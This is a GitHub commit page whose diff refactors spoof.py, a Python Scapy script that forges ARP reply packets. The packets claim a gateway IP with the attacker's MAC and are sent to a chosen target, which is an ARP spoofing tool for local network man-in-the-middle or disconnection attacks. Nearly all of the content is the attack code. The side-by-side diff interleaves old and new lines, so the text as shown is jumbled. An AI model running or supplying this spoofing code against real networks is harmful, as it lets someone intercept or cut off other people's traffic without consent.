final spoof.py with callable function

This commit is contained in:
xdavidhu 2016-12-28 10:11:31 +01:00 committed by GitHub
parent c3e1bb2d2a
commit 788c400f1a

View File

@ -1,46 +1,29 @@
import sys def sendPacket(my_mac, interface, my_ip, target_ip, target_mac):
from scapy.all import (
import sys
from scapy.all import (
get_if_hwaddr, get_if_hwaddr,
getmacbyip, getmacbyip,
ARP, ARP,
Ether, Ether,
sendp sendp
) )
try: ether = Ether()
my_mac = sys.argv[1] ether.src = my_mac
interface = sys.argv[2]
my_ip = sys.argv[3]
target_ip = sys.argv[4]
target_mac = sys.argv[5]
except:
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
exit()
ether = Ether() arp = ARP()
ether.src = my_mac # Default: network card mac arp.psrc = my_ip
arp.hwsrc = my_mac
arp = ARP() arp = arp
arp.psrc = my_ip arp.pdst = target_ip
arp.hwsrc = my_mac arp.hwdst = target_mac
arp = arp ether = ether
arp.pdst = target_ip # Default: 0.0.0.0 ether.src = my_mac
arp.hwdst = target_mac # Default: 00:00:00:00:00:00 ether.dst = target_mac
ether = ether
ether.src = my_mac
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
def craftRequestPkt():
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
def craftReplyPkt():
arp.op = 2 arp.op = 2
packet = ether/arp packet = ether/arp
sendp(x=packet, inter=1, count=1000) sendp(x=packet)
if __name__ == '__main__':
craftReplyPkt()